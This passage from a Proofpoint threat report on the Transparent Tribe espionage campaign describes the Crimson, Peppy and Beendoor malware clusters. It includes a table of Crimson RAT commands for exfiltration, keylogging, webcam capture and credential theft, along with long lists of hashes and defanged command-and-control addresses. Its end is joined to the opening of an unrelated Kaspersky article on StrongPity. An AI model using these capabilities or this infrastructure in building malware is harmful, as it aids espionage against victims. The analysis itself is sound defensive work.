]com that then used thefriendsmedia[.
]com as its CC.
The original Andromeda also retrieved a Bezigate payload.
20 Figure 22: thefriendsmedia connection to Andromeda, lolxone[.
]com, and Bezigate Furthermore, we have observed lolxone[.
]com hosting additional Bezigate payloads as well as the Python/Peppy malware as shown in the graph below (Fig.
23).
This activity can be further connected to the overall cluster via the Peppy, Bezigate, and Andromeda CCs as shown in the complete Maltego graph (Fig.
25).
21 Figure 23: lolxone[.
]com and Andromeda connections to Python/Peppy, Bezigate Cluster 2 - guddyapps/appstertech/sajid Some Crimson SecApp modules we came across did not download the expected RAT or downloader payload when it first communicated to its CC.
For example, sample: 85429d5f2745d813e53b28d3d953d1cd retrieved a downloader from 178.238.228[.
]113:7861 .
Once the downloader was executed, it then downloaded an XMPP library (md5: fee34da6f30a17e1fcc5a49fd0987169) and the XMPP-based Trojan (md5:  d3094c89cad5f8d1ea5f0a7f23f0a2b1) we refer to as Beendoor.
Beendoor is a very interesting piece of malware and we were able to gather additional information about this variants CC, 178.238.235[.
]143.
Much like Crimson and Peppy, Beendoor is capable of taking screenshots of the victims desktop.
On Beendoors CC we were able to recover a screenshot that appears to have been taken from one of the malware developers computer (Fig.
24).
In this modified screenshot we are bringing attention to a few key pieces of information: Identical Anushka image on desktop found on Beendoor CC and used in Beendoor sample Folder structure similar to that found on the CC Hardcoded paths found in Beendoor dropper binary (md5: 9b98abb9a9fa714e05d43b08b76c0afa) Same file names used by Beendoor and the XMPP library 22 Figure 24: Screenshot of likely Beendoor developers desktop As shown in the figure, it seems likely that the Pakistan-based company Appstertech is somehow connected to the Beendoor malware.
Based on the analysis of the folders and files on the Beendoor CC, we can also conclude that this activity is related to research published by CloudSek late last year.
In the Crimson samples that we found connected to Beendoor (Fig.
25), several of them used the same Binder dropper that we observed in other clusters, including Cluster 1.
Moreover, the CC for this occurrence of Crimson and Beendoor are both hosted at Contabo GmbH, another similarity with other clusters surrounding the Crimson implant.
Figure 25: Maltego graph of Crimson-Beendoor cluster Cluster 3 - Nadra attack in Mardan Lure In addition to the attack using the recent Pathankot attack as a lure, we discovered several samples that may have been used in recent attack campaigns utilizing the December attack in Mardan near a National Database and Registration Authority (Nadra) as a lure.
Several samples were uploaded to VT in compressed archives containing Crimson payloads along with possible decoys their respective droppers would have dropped.
For example, one of the payloads (md5: 51c57b0366d0b71acf05b4df0afef52f, NADRA OFC.exe) was uploaded to VT along with an image (md5: be0b258e6a419b926fe1cfc04f7e575a) that can also be found here: hxxp://i.dawn[.
]com/ medium/2015/12/56825d6d8f1a5.png which is linked to by an article about the attack: hxxp://www.dawn[.
]com/ news/1229406 For this cluster of activity, were not currently aware of any droppers and so have decided to cluster it on its own.
With that in mind however, the TTPs for  this campaign are nearly identical to the Pathankot attack lure campaign in Cluster 1.
Unsurprisingly, the CC utilized in this campaign is hosted at Contabo GmbH.
Lastly, the port used in these samples, 11100, is the same port used by some of the samples we have grouped in Cluster 1.
23Threat Insight  Operation Transparent Tribe Cluster 4 - DDNS and Pakistan The final cluster we would like to discuss include several samples all using DDNS for their CC pointing to Pakistan IP (according to Whois) addresses.
The majority of this activity is from 2013.
Based on the slightly different TTPs (purely DDNS usage) and no use of Contabo GmbH, we have clustered this separately from other activity, even though we have observed DDNS usage in Cluster 1 and the obvious overlap in tool usage.
This activity is graphed in Figure 26 and included in the IOCs section.
Figure 26: DDNS and Pakistan IP address Maltego graph One Cluster to Rule Them All, Nothing Yet to Bind Them...
There are numerous overlaps between the clusters, including usage of the Binder dropper, attack lures, and most obvious, the usage of Contabo GmbH.
Unfortunately we lack information regarding some of the found samples as far as how they were used and in what campaigns, and so we have decided not to tie all the activity together.
As we continue to research these incidents, we would not be surprised to find additional information linking all clusters together.
Technical Analysis MSIL/Crimson Crimson is modular in the sense that additional payloads downloaded by the main RAT module are often utilized to perform functions such as keylogging and browser credential theft.
Crimson infections also typically occur in stages.
Crimsons first stage is a downloader component whose primary purpose is to download a more fully featured RAT, typically being the Crimson RAT component.
The RAT component will then send system information to the CC while the CC will likely respond with additional module payloads.
Crimson utilizes a custom TCP protocol for communicating to CC (Fig.
27).
Some of Crimsons optionally downloaded modules have no CC capability and instead rely on the RAT component for information exfiltration.
Figure 27: Crimson custom TCP CC protocol 24 Crimson-infected victims may be spied on by their attackers via invasive methods such as through their webcam, stealing email from Outlook, and recording their screen.
Some Crimson RAT variants support at least 40 individual commands, while all the individual commands throughout the different versions of the RAT we researched are listed and described in Table 1.
Table 1.
MSIL/Crimson supported commands Command Description afile Exfiltrate file to CC audio Download legitimate NAudio library from CC, save as NAudio.dll (not executed or added to startup).
Used to record audio from microphone.
autf Add extensions to file extensions list.
Optionally search for files in extensions list and exfiltrate autoa Exfiltrate all files with an extension matching the file extensions list capcam Capture still from webcam camvdo Continuous capture from webcam (stopped with stops command) clping set runTime to DateTime.
Now clrklg Stop keylogger and delete keylogs cnls Stop upload, download, and screen capture cscreen Single screenshot delt Delete provided path/file dirs Send disk drives dotnet Download URLDownload payload, save as dotnetframwork.exe and add to startup via registry dowf Retrieve file from CC dowr Retrieve file from CC and execute email Capable of retrieving email account name, number of emails, and exfiltrate emails from Outlook endpo Kill process given PID fbind Save file from CC in existing directory with .exe appended to name file Exfiltrate file to CC filsz Send file info: CreateTimeUtc, File Size fldr List folders in a directory fles List files in a directory ftyp Add extensions to file extensions list info Send PC info (MAC, PC Name, User, LAN IP, OS, AV, missing modules) klgs Sometimes not implemented but command exists (previous versions: enable automatic exfiltration of keylogs) listf Search for files with given extension(s) mesg Pop-up Alert box with provided message msdlf Click mouse muspo Move mouse cursor 25 obind Save file from CC to directory with .exe appended to name outdwn Search for specific email attachment with specified name and exfiltrate passl Retrieve password logger logs procl List processes runf Execute command rupth Retrieve malwares run path savaf Save file from CC scren Capture screen continuously scrsz set scrSize (utilized by scren and cscreen) secup Download secApp payload from CC, add to startup via registry sndpl Download pssApp from CC (browser credential stealer) and begin log exfiltration sndps Download pssApp from CC (browser credential stealer) splitr Split file to provided number of splits, however we believe due to programmer error this functionality will not work as expected stops Stop screen capture stsre Get microphone audio sysky Exfiltrate keylogs to CC systsk Update module, likely secApp thumb Get 200x150 GIF thumbnail of image uclntn Sets RegKey: [variable]_ver to provided value, possibly used as a version indicator udlt Download remvUser payload from CC, save as msupdate.exe, then execute it uklog Download keylogger payload from CC, save as win_services.exe then add to start up via registry updatc Download controller/client/main RAT, save as servicesdefender.exe, then execute it updatu OR usbwrm Download USB payload, save as udriver.exe then add to start up via registry MSIL/Crimson Module Analysis As previously mentioned (and shown in the commands table), Crimson relies on additional module payloads to further enrich its feature set.
These modules include keylogging, browser credential theft, automatic searching and stealing of files on removable drives, and two different payload update modules.
Lastly, there appears to be a module referred to as remvUser that we have not been able to locate.
URLDownload When executed, this module will first check for the existence of a registry key: HKCU\SOFTWARE\Microsoft\Windows\ CurrentVersion\last_edate .
If the key does not exist then it will be created by the module and assigned a DateTime.
Now string.
This key is periodically checked for how many days have passed.
Once the malware detects that at least 15 days have passed, a HTTP GET request is sent to a hardcoded location to retrieve a text file that should point to another HTTP location containing a final payload.
For example, one analyzed sample (md5: 532013750ee3caac93a9972103761233) contained a hardcoded URL: hxxp://sahirlodhi[.
]com/usr/api.txt.
So far we have observed the attackers modify api.txt twice, first containing a link to: hxxp://bbmsync2727[.
]com/upd/secure_scan.exe and then: hxxp://bbmsync2727[.
]com/ 26 ccmb/ssm.exe .
In the module that we analyzed, the downloader logic was configured to request a file from a hardcoded URL: hxxp:// sahirlodhi[.
]com/usr/api.txt , which is likely a compromised website.
The module expects that another URL will be stored at the previously retrieved URL, which initially we found to be the following: hxxp://bbmsync2727[.
]com/upd/secure_scan.
exe (md5: e456d6035e41962a4e49345b00393dcd).
This payload is a MSIL/Crimson Downloader variant that, when executed, will begin the MSIL/Crimson lifecycle all over again by downloading a new controller/orchestrator.
secApp The secApp that we analyzed (md5: ccfd8c384558c5a1e09350941faa08ab) contained functionality very similar to the initial downloader, however the initial beacon that is sent to the CC was doupdat rather than updatc and was configured to connect to the same hardcoded CC but to a different port.
In addition to supporting the updatc command issued by the CC, this module also supports the following commands: info, upsecs, and upmain.
The info command supports the same functionality that the main RAT module supports while upsecs and upmain allows the controller to modify the path and application names for both the secApp and mainApp.
Credential Stealer The pssApp is a password harvesting module that initially appears to support retrieving saved credentials from the Chrome, Firefox, and Opera browsers.
Successfully harvested credentials are stored in a hardcoded location such as: APPDATA\Roaming\chrome\chrome_update .
If no credentials are found, the credential log will simply contain Not Found   while an example of successfully stolen credentials are shown in Figure xx.
In our very limited testing, this module was not able to retrieve passwords from Opera 35.0.2066.68 or Firefox 44.0.2 but was successful with Chrome 48.0.2564.116 m. Figure 28: Successfully harvested credentials by the pssApp module Some samples (md5: 8a991eec65bd90f12450ee9dac0f286a) also appear to support the retrieval of credentials from Windows Live, FileZilla, Vitalwerks Dynamic Update Client (DUC), and Paltalk.
Keylogger The keylogger module is a basic keylogger that stores keylogs in a plain text file (Fig.
29) in a hardcoded location.
The module that we analyzed (md5: f18172d7bb8b98246cb3dbb0e9144731) was hardcoded to store keylogs in a file named nvidia in the following location: APPDATA\NVIDIA\ .
Figure 29: Data stored in nvidia keylog 27 USB Module If either the updatu or usbwrm commands are issued, a USB drive module may be downloaded and set to execute on next startup.
In the payload that we analyzed, the purpose only appears to search for potentially interesting files in removable storage and copy them to the local disk, likely  so they may be exfiltrated at a later time.
This payload may be configured with a set of file extensions (Fig 30) that are used to search for matching files on any USB drives.
If any files are found, they are copied to a configured directory on the local disk while a running list of copied files are stored in a separate log so duplicate files are not copied.
The anti-duplication method, however, only utilizes filenames so in the event that an already copied file is later modified, a newer copy will not be saved for exflitration.
Despite one of the commands that may be used to download this payload may indicate this payload to contain worm functionality, that does not appear to be the case.
remvUser During our research, we were not able to locate this module so we are not sure what its functionality is.
A best guess is that it could be a clean-up/implant removal utility.
Python/Peppy Peppy is a Python-based RAT with the majority of its appearances having similarities or definite overlap with MSIL/ Crimson appearances.
Peppy communicates to its CC over HTTP and utilizes SQLite for much of its internal functionality and tracking of exfiltrated files.
The primary purpose of Peppy may be the automated exfiltration of potentially interesting files and keylogs.
Once Peppy successfully communicates to its CC, the keylogging and exfiltration of files using configurable search parameters begins (Fig.
30).
Files are exfiltrated using HTTP POST requests (Fig.
31).
Figure 30: Peppy configurable search parameters Figure 31: Peppy exfiltrating files 28 In addition to keylogging and the exfiltration of files, Peppy is also capable of accepting commands from its CC to update itself, disable itself, exfiltrate a specific file, uninstall itself, execute a shell command, take screenshots, spawn a reverse shell, and download a remote file and execute it.
In addition, we have discovered a simple Python-based downloader (md5: 82719f0f6237d3efb9dd67d95f842013) that was possibly written by the author(s) of Peppy based on code overlap between the downloaders functionality and Peppys download_exec routine (Fig.
32, 33).
Figure 32: Python downloader code Figure 33: Peppy download_exec routine and MyURLOpener class Conclusion As we described, there are clearly a number of common threads throughout these attacks.
We have been able to connect campaigns, vectors, payloads, and, in some cases, infrastructure, but additional details continue to emerge.
In the short term, this serves as an important reminder that wars are no longer waged solely on the ground or in the air.
Rather, threat actors (whether from nation-states or private parties with interests in international conflicts) will use a variety of cyber tools to achieve their goals.
29 Appendix Cluster 1 IOCs Crimson Downloader Samples 032bacaea0d335daec271f228db6bc88 052eb62056794a08a04f4cd61455602c 06c18c72f9f136bacc5c9b0d8fa93195 0a8d414eb910eb4caeb96a648b70eef3 0b651ef0eb7b919e91a2c5c5dbccd27e 0ed7f485166796e10bcb9123de24d211 17dbd878985b78848d4a3a758a3ef89c 1af4df1382c04677050379ccdafcafd2 21fc043b31d22b5c3f5529db83e90422 2c9cc5a8569ab7d06bb8f8d7cf7dc03a 340f31a36e159e58595a375b8b0b37b2 34ad98510d4d6e24b7e38f27a24ad9f6 3a67ebcab5dc3563dc161fdc3c7fb161 3b08095786731c522f5649081f8dbb7e 3cc848432e0ebe25e4f19effdd92d9c2 41a0e4f9745e4bd5ad7b9d500deb76fa 428371be27fc057baac3ea81a8643435 535888163707b60c1a8dfefffad70635 53c10ac66763739b95ac7192a9f489ad 5b6beb9ee6e604f4e474b8129e6135f4 5c6b401979469040b39babb0469fc0c8 5d038817ffeab7715415d68d438af345 5ff65fdefe144800e43a2f6cc6244c75 6c3b38bf90a203b2f7542d0359b8e60e 6d2442494c3019f1597256cbeb45e5f6 6eb40b2e6a67a785d5cc6e4ad9102b5d 7289c160582f010a3c7dbd512c5d8a09 75b390dc72751a062e8106328450ef87 796ae0b75c0e0b08ea84668495df4070 7a6b88e43cccc8133c066b87f72c53f7 803d2758c3b89882e2d41867768d7b15 83a8ce707e625e977d54408ca747fa29 85e2c950ddb18fe1dd18709cfbb9b203 94770186027a0ccdf733b72894a0c7d0 9d4504cdb7b02b9c9fffefcf9b79101d ac637313520ca159a02d674474d341ef b67411da3ddfcae9f2a20935619e5c4a b8098acf09d121ab298351f0c804ef8b bf1400105c97a28fefd33d8c0df5d4c1 c61061a40dba411b839fe631299c267a ca27cefe404821ccd8dc695da55102e8 cdc6bb98a2629338d49587d186562fd3 dac4f8ba3190cfa1f813e79864a73fe1 df6b3946d1064f37d1b99f7bfae51203 e3254ad0275370f92cffeacbf603a905 e456d6035e41962a4e49345b00393dcd edccbc7f880233de987ba4e917877df2 eee91d8de7ea7c0ac3372f65c43e916a 30 Crimson Downloader Droppers 9e0fef5552100a7e0a2d044b63736fb2 7470757050f584101a851d7ba105db31 Crimson SecApp Samples 07defabf004c891ae836de91260e6c82 0ad849121b4656a239e85379948e5f5d 0ed7f485166796e10bcb9123de24d211 1911c1234cc2918273baeffd7d37392e 2d6d0dbd8ac7c941d78ba14289a7ab9d 43b39b40605afb9d2624f1cede6b48a8 65f6143d69cb1246a117a704e9f07fdc 723d85f905588f092edf8691c1095fdb 765f0556ed4db467291d48e7d3c24b3b 9b3cb979b1397a4a13ea62dbf46510d8 9fcc3e18b9c0bd7380325f24a4623439 b4080cda4fb1b27c727d546c8529909c ca77af41cbd8c2fd44085d0d61bac64b df6be8accc487bf63260aacf5e582fe2 Crimson RAT Samples 073889fe855f401c3c4cc548bc08c502 0964887f6f709f9c3f11701412acb9c1 14be26aa207cff81ff814c8a7a8e2f03 19b9f62f29f3689b1db4c56deed7e162 1a1426a94e37e5f3c14cd2b6740e27e1 3ff165ee68d1bc03ae7d4d3baf99b963 4297041e3a701ed8c01e40d6c54264a1 43f47d2045ca98265fd4bd4011a04932 463565ec38e4d790a89eb592435820e3 5371d2984cbd1ae8283f9ae9eeee718d 53a60acc6a09a7fa2eebf4eb88c81af5 59e0fc469d1af7532507c19b47f19960 6746c430f978d0bc9bbecff87c651fa2 71b4bbddf46e1990210742a406c490bf 7e42de66eee8d280a3ba49d5b979c737 811eb99fb1aca98052db4b78c288889c 819715180810caaaa969c816eb2b7491 8317bb3d192c4495507a5945f27705af 8c713cffdc599930a9236c2d0d0ee91a 92f78a182faf26550d6fab2d9ec0692d 943f35200dce22766d0c2906d25be187 94d29dded4dfd920fc4153f18e82fc6c 9fd2838421b28674783b03eb46f4320f a3aa3a12d81c9862b18f83a77d7215ca bcbac2241977c976aec01592fb514aa4 c2bc8bc9ff7a34f14403222e58963507 cb0768c89e83f2328952ba51e4d4b7f1 d53de7c980eb34f9369e342d5d235c9b e7803020e9697d77f165babecf20ea82 eaee83a376914616924eab9b4b96b050 ed1daf18ef09fb2a5c58ab89824ecab0 f078b5aeaf73831361ecd96a069c9f50 fe955b4bbe3b6aa2a1d8ebf6ee7c5c42 31 Crimson CC 5.189.143[.
]225 5.189.167[.
]65 80.241.221[.
]109 93.104.213[.
]217 193.37.152[.
]28 213.136.87[.
]122 Peppy RAT Samples 010a50145563a6c554de12b8770f16f7 010aa8d6e6f5346118546b1e4e414cb2 131b4ed3df80e2f794a3e353e2c7f8fb 17d22686bfc825d9369a0751c4cc6a22 1d49dc6af6803d9ffc59a859315b2ac4 22192141d2010fe9fed871d05573dda4 23ec916b3eae3f88853bde8081be870f 2463d1ff1166e845e52a0c580fd3cb7d 2cff1578ac42cc0cd5f59e28d6e7240f 31a9e46ff607b842b8fff4a0644cc0f4 3540f2771b2661ecbd03933c227fb7f7 3b979fd0a8fa0ecbc334a3bbbfb68a36 4a717b657ea475197d967008c7db8353 511bcd411ec79c6ca555670e98709e46 5998641f454f82b738977aa8b3d1d283 725379749d3fa793edcce12291782134 77c7c0117a0e457d7e3ceef4ab82c2ca 7920862303764a55050d2da38b8bf4db 858a729819cc082f2762b6d488284c19 86e27e86e64031720a1ca52d2fbb7c98 af5e96e260b71356d62900551f68f338 b04117ee18182c1c07ffaf6fb35b08bc c33c79c437d94fad3476f78361df0f24 c9e4c816b4ef23c28992e0e894b9c822 ee5a460ded205d2074a23e387c377840 f13a1a0cbcd5e13dd00dbc77c35973ef f6d141f45e76cefcb712f69c193b3ac1 f8955450fbd62cb4461c725d8985ff60 fa97cba6a52896e1f2146957a6eec04f fab5eff5fc65a7a2c5920586df5e29c2 Peppy RAT Domains applemedia1218.com avssync3357.com bbmdroid.com bbmsync2727.com bluesync2121.com eastmedia1221.com eastmedia3347.co.cc eastmedia3347.com facemedia.co.cc kssync3343.com kssync3347.co.cc kssync3347.com mahee.kssync3343.co.cc mvssync8767.com 32 student3347.mooo.com winupdater2112.com Andromeda Samples 0123411a6cfe8afb4a45e4afeed767e7 114551a87fa332a243fc05b7246309b9 128c0ccc1252098bc2314d88f4e70044 133e0c441ea744951080d700604a63ee 1f97ddaea7ac0c4e20b2db75969b4545 4b0481a591c87e8542e2089396a10d3c 7ec3ec88185f9c235e2d3da7434b928a 878aa68245675ca5ea677aaf28707b7a 990c3b67061109d82627a5642bf1bb68 a4ce604f8d3ac2e5facdae3c63ef4dc6 a6d75b57bd597e723335f96f074f5700 a6ef041311497bcddb8818b5a4f6c90e ae2ef98a91c70dc43979ce7df8e475ad aec91b4453a1b321e302127bc9f21a7c f0e64d2b011223ece668c595406f1abc f4123e7f09961479452f0f42b3706293 fb2cb45bf53cef41674da2d9a4bdba32 Andromeda Domains dvdonlinestore.net eastmedia2112.com mustache-styles.com onlinestoreonsale.com pradahandbagsshoes.com vhideip.com wisheshub.com 99mesotheliomalawyers.com Various Downloader Samples 2ba1e2a63129517055ab3a63cb089e33 4131776ae573bdb25009a343cf1541f5 44fe2f4dd8b001bbcc4de737128095ca 63ee06dae035981c5aea04f5a52879c1 643e30e665124eea94a22641f79a9c91 67bad4ad3d9a06fc20bea8c3ebb7ad01 7e97efc85be451432388b9f1ce623400 861f621fdf2d3e760df50009fe2824ae a957e3a7aed4efd1b214d3c3b79f5874 c16b43a5897861fbe023e4b7d340f2e8 dbd5c44e6c189f289e0eea1454897b26 e26150f5186bb7230d85f4cf3aa45d17 Python Downloader Sample 82719f0f6237d3efb9dd67d95f842013 Meterpreter Samples 04e8404f1173037ba4e11241b141d91d c411ee81c34e14a1ace7e72bea2e8d12 d30c6df94922323041f8036365abbfd2 33 Meterpreter CC 5.199.170[.
]149 njRAT Sample 27ca136850214234bcdca765dfaed79f njRAT CC 5.189.145[.
]248 Malicious Documents 0197ff119e1724a1ffbf33df14411001 18711f1db99f6a6f73f8ab64f563accc 1f82e509371c1c29b40b865ba77d091a 278fd26be39a06d5e19c5e7fd7d3dcc2 3966f669a6af4278869b9cce0f2d9279 438031b9d79a17b776b7397e989dd073 68773f362d5ab4897d4ca217a9f53975 76f410c27d97e6c0403df274bebd5f6e 98bdcd97cd536ff6bcb2d39d9a097319 Unknown, likely related 0437655995f4d3104989fb963aa41339 c0ff05a6bf05465adfc9a1dfd5305bde Unknown CC 5.189.137[.
]8 Luminosity Link Sample 708a1af68d532df35c34f7088b8e798f Luminosity Link CC 5.189.145[.
]248 Bezigate Samples 236e7451cbce959ca0f62fb3b499b54e 44db769fb1f29a32d5c1998e29b4b7c4 85d182f7a0e049169a7bd0aa796fba96 96dbed32a59b50e6100f1ca35ef5a698 e49edc719eaab11a40158c15c9dd9b7b Bezigate CC 107.167.93[.
]197 62.4.23[.
]46 ad2.admart[.
]tv winupdatess.no-ip[.
]biz DarkComet Samples 0aecd3b79d72cbfa8f5dce2a12e76053 278f889f494d62e214406c4fcfa6f9a3 fd5a419924a0816c6357b47f4e375732 34 DarkComet CC ad2.admart[.
]tv 107.167.93[.
]197 Intribune.blogspot[.
]com Links hxxp://intribune.blogspot[.
]com/2015/11/4-sikh-army-officers-being-trialed-in.html hxxp://intribune.blogspot[.
]com/2015/11/seventh-pay-commission-recommends.html hxxp://bbmsync2727[.
]com/cu/seventh20pay20commission20salary20calculator.xls hxxp://intribune.blogspot[.
]com/2015/11/army-air-defenceengineers-and-signal-to.html hxxp://intribune[.]blogspot[.
]com/2015/09/sc-seeks-army-response-on-batch-parity.html hxxp://intribune[.]blogspot[.
]com/2015/05/seniors-juniors-and-coursemates-please.html hxxp://intribune[.]blogspot[.
]com/2015/07/awho-defence-and-para-military-forces.html attachment.biz links hxxp://ceengrmes[.]attachment[.
]biz/?att1450603943 hxxp://comdtoscc[.]attachment[.
]biz/?att1451926252 hxxp://comdtoscc[.]attachment[.
]biz/?att1453788170 hxxp://fileshare[.]attachment[.
]biz/?att1455255900 hxxp://fileshare[.]attachment[.
]biz/?att1455264091 Cluster 2 IOCs Crimson SecApp Samples ccfd8c384558c5a1e09350941faa08ab 167d632eea9bd1b6cac00a69b431a5c0 e3e4ced9b000aa47a449f186c7604ac8 79f7e1d6389c73a7e2525d0ec8fa3ce2 0a7a15180053270e25a220a3e38e7949 17495ce3d11e9cddf5a98ec34ee91d6a 148403235614461c1f088d524fbd9fd0 b67047e341653a01526cc178966d1f6c ef0ab9f731e7c980b163c7e1b5db9746 3739bbf831d04e8a2b06275cd3af371d 0d7846a76675be378a50667767d0e35a 4f9b754da90bed9a633130d893d65c4e 3e91836b89b6d6249741dc8ee0d2895a 85429d5f2745d813e53b28d3d953d1cd Crimson RAT Samples 870c0312cea7b3b6b82be01633b071cd a74165ec1d55b682ed232ffde62b3b11 8336d9aeccee3408a4f9fbf4b1a42bac 2dfe4468a052a07cab117a20e182adc9 Crimson CC 178.238.228[.
]113 Beendoor Downloader 950eb314435bdb3c46c9f0954c935287 Beendoor Sample d3094c89cad5f8d1ea5f0a7f23f0a2b1 Beendoor CC 178.238.235[.
]143 35 Cluster 3 IOCs Crimson RAT Samples 51c57b0366d0b71acf05b4df0afef52f 438f3ea41587e9891484dad233d6faa6 71cd70b289c53567579f8f6033d8191b d8637bdbcfc9112fcb1f0167b398e771 12929730cd95c6cf50dd3d470dd5f347 7ccc752b5956b86b966d15a6a4cf6df0 b2ed9415d7cf9bc06f8ccb8cfdba1ad6 cedb0fc3dfbb748fdcbb3eae9eb0a3f1 95cba4805f980e8c1df180b660e2abb4 Crimson CC 88.150.227.71 Cluster 4 IOCs Crimson Downloader Sample 5d9b42853ecf3ff28d4e4313276b21ed Crimson RAT Samples 90b07bc12b45f2eb1b0305949f2cec25 3e7c2791ff7bc14ef30bba74954ef1e2 44145124e046804bf579c8839b63a9a7 a73494ca564f6404488a985cefd96f56 8a0db32b97be106d2834739ffd65715b ddb66b231ab63c65a8ce139e73652aec Crimson CC bhai123.no-ip[.
]biz bhai1.ddns[.
]net sudhir71nda.no-ip[.
]org 119.154.134[.
]211 119.154.209[.
]175 119.154.220[.
]96 119.157.163[.
]145 119.157.229[.
]245 182.181.239[.
]4 Unclustered Crimson Samples Crimson Downloader Samples 6a1c037c66184aa39096933f75d2d8ca 99d93e0c6bf9cf9acb92580686f6b743 af071cd2420057090cfe33fefa139d01 8c30ed1bc13feaa8e937be0f6a739be4 adf657337d7fa7fa07c72b12fb880e41 e2d1309893c0de5a026a2ae9e8ada486 99d93e0c6bf9cf9acb92580686f6b743 d0152f228e934dcafa866445c08e3242 af071cd2420057090cfe33fefa139d01 9b674985a412c4c07d52c7482c2ed286 c3af6b938988a88ea2dc2e59f8418062 2d58826fbff197918caa805aeed86059 ab6b6f675e48d818044c5e66d05813ce 4b1a627c43d4e0af504bf20023e74f6b 75798547f0ddca076070bcea67a0b064 0255f73a32bf781c786d19d149ddfb90 36 16eb146eee147a333ef82d39266d5cfb 2507f545a2d6e52ade2d7708d9ce89d1 f9798f171194ee4fec5334ded3d786e7 9b77eb38e32d43a97c5bde5ec829c5ca 2eea994efa88e0a612e82ee3e08e78f1 Crimson SecApp Samples c303a6ac44e3c59a9c3613ac9f92373b 92d6366d692a1b3691dce1379bb7b5aa eb01bbfe8ca7e8f59aab475ad1f18245 4d7ad9ab4c1d40365da60d4f2f195db4 f936afdd0b69d109215d295ab864d309 ec4bef2233002d8fe568428d16e610b1 045c4b69d907833729fd83d937669f66 522178a60b030bbab910cb86cfeaff20 1ab5f55763663ffb0807079397812b47 73b878e56f790dccf08bd2344b4031c8 f0f6544ddb26c55df2d6184f433d8c17 7c23f984170fd793cfde5fd68535d0a8 73b878e56f790dccf08bd2344b4031c8 7e50c67f1e94b154f110d5d73e2f312c 1bedd50f4ae757c6009acbe7da021122 ae9659a2c08e2cb9ab9e5cdcb8ab4036 0991033c2414b4992c1b5ab21c5a47e2 f710e3ad19a682dab374c167c7c2796a Crimson RAT Samples 214eb28f04d969c9f637b09e4ffad644 29097319b60c103421437214d5a3297e 38ce32cb94092cc6790030abcc9a638b 439ba84a964a17ce2c3d51ac49c68f81 4e9b81e70227575f2d2a6dd941540afa 5b4361e6a6117e9f7189a564f46157d7 5dbeb8475e22a938415eb43e6bd24fe8 6409930f39cd6c17fb68f7fee47b1cdf 82377fcf288e9db675ab24cbf76ea032 84c30675b5db34c407b98ea73c5e7e96 897fc3a65f84e1c3db932965a574d982 9e73d275202b02b3f0ed23951fda30da b0327f155ebaba23102f72c1100fa26b b05730eda99a9160cc3f8dec66e9f347 b467df662af8a1fbafa845c894d917e3 c0bf5a0f535380edec9b42a3cebb84c4 ca48224adce9609dc07e50930dd1afae dac44b9d5a8494a3293088c9678754bc e0217714f3a03fae4cdf4b5120213c38 e66203177a03743a6361a7b3e668b6a6 f05834a930f6fda6b877011c3fb3ef18 f1a2caf0dd7922ea3a64231fd5af7715 Crimson CC 5.189.131[.
]67 5.189.152[.
]147 5.189.167[.
]220 5.189.167[.
]23 79.143.181[.
]21 79.143.188[.
]166 892 Ross Drive Sunnyvale, CA 94089 about proofpoint Proofpoint Inc. (NASDAQ:PFPT) is a leading security-as-a-service provider that focuses on cloud-based solutions for threat protection, compliance, archiving  governance, and secure communications.
Organizations around the world depend on Proofpoints expertise, patented technologies and on-demand delivery system to protect against phishing, malware and spam, safeguard privacy, encrypt sensitive information, and archive and govern messages and critical enterprise information.
1.408.517.4710 www.proofpoint.com 37 Proofpoint, Inc. Proofpoint is a trademark of Proofpoint, Inc. in the United States and other countries.
All other trademarks contained herein are property of their respective owners.
Threat Insight  Operation Transparent Tribe 193.164.131[.
]58 213.136.69[.
]224 213.136.73[.
]122 213.136.84[.
]43 MSIL/Crimson Modules Keylogger f18172d7bb8b98246cb3dbb0e9144731 b55a7da332bed90e798313b968ce7819 c0eb694960d0a7316264ced4d44b3abb 292f468f98e322795d1185c2b15c1f62 b6263f987fdec3fb3877845c8d5479dd 127ee83854f47628984ab47de725ee2f 2fa82dd2490fc697bb0bb0f8feb0dd85 bc6d139a3d630ba829337687b9328caf f3c8630d06e51e8f76aa1fb438371d21 3a64e2d3558a28c4fdb0f076fa09e1a1 370bb0ec1c16bd8821f7e53f6bfc61e3 Infostealer d938a75d93c20790b1f2b5d5b7294895 29eb61f04b905e2133e9afdd12482073 9bdfc0d5c45f1ce1200419ec6eec15f4 8a991eec65bd90f12450ee9dac0f286a USBstealer c3d65d73cd6894fdad3fc281b976fd8b e9b1a3aa2de67300356b6587a8034b0b cf5e472613921dc330008c79870b23ab bf2eb6c19778a35f812ddc86d616c837 1e5c2029dafdd50dce2effd5154b6879 b785db2b3801d5190dad9e6f03d48999 3f84ddc0d9ec7b08477a76b75b4421b8 c0ceba3a708082c372c077aa9420d09e d11ebec8f1d42dd139b18639f7f9534a - 5.189.167[.
]220 URLDownloader Module Sample 532013750ee3caac93a9972103761233 URLDownloader CC hxxp://sahirlodhi[.
]com/usr/api.txt
On the StrongPity Waterhole Attacks Targeting Italian and Belgian Encryption Users securelist.com /blog/research/76147/on-the-strongpity-waterhole-attacks-targeting-italian-and-belgian- encryption-users/ By Kurt Baumgartner Kurt Baumgartner Principal Security Researcher, GReAT The StrongPity APT is a technically capable group operating under the radar for several years.
The group has quietly deployed zero-day in the past, effectively spearphished targets, and maintains a modular toolset.
What is most interesting about this groups more recent activity however, is their focus on users of encryption tools, peaking this summer.
In particular, the focus was on Italian and Belgian users, but the StrongPity watering holes affected systems in far more locations than just those two.
Adding in their creative waterholing and poisoned installer tactics, we describe the StrongPity APT as not only determined and well-resourced, but fairly reckless and innovative as well.
Encryption Tools Clearly this APT is interested in encrypted data and communications.
The tools targeted by this group enable practices for securing secrecy and integrity of data.
For example, WinRAR packs and encrypts files with strong suites like AES-256, and TrueCrypt encrypts full hard drives all in one swoop.
Both WinRAR and TrueCrypt help provide strong and reliable encryption.
WinRAR enables a person to encrypt a file with AES-256 in CBC mode with a strong PBKDF2 HMAC-SHA256 based key.
And, TrueCrypt provides an effective open-source full disk encryption solution for Windows, Apple, Linux, and Android systems.
Using both of these tools together, a sort of one off, poor mans end-to-end encryption can be maintained for free by putting these two solutions together with free file sharing services.
Other software applications help to support encrypted sessions and communications.
Well known applications supporting end-to-end encryption are used by hundreds of millions of folks, sometimes unknowingly, every day.
IM clients like Microsofts Skype implement 256-bit AES encrypted communications, while Putty, Winscp and Windows Remote Desktop help provide private communications and sessions with fully encrypted communications as well.
Most of these communications across the wire are currently unbreakable when intercepted, at least, when the applications are configured properly.
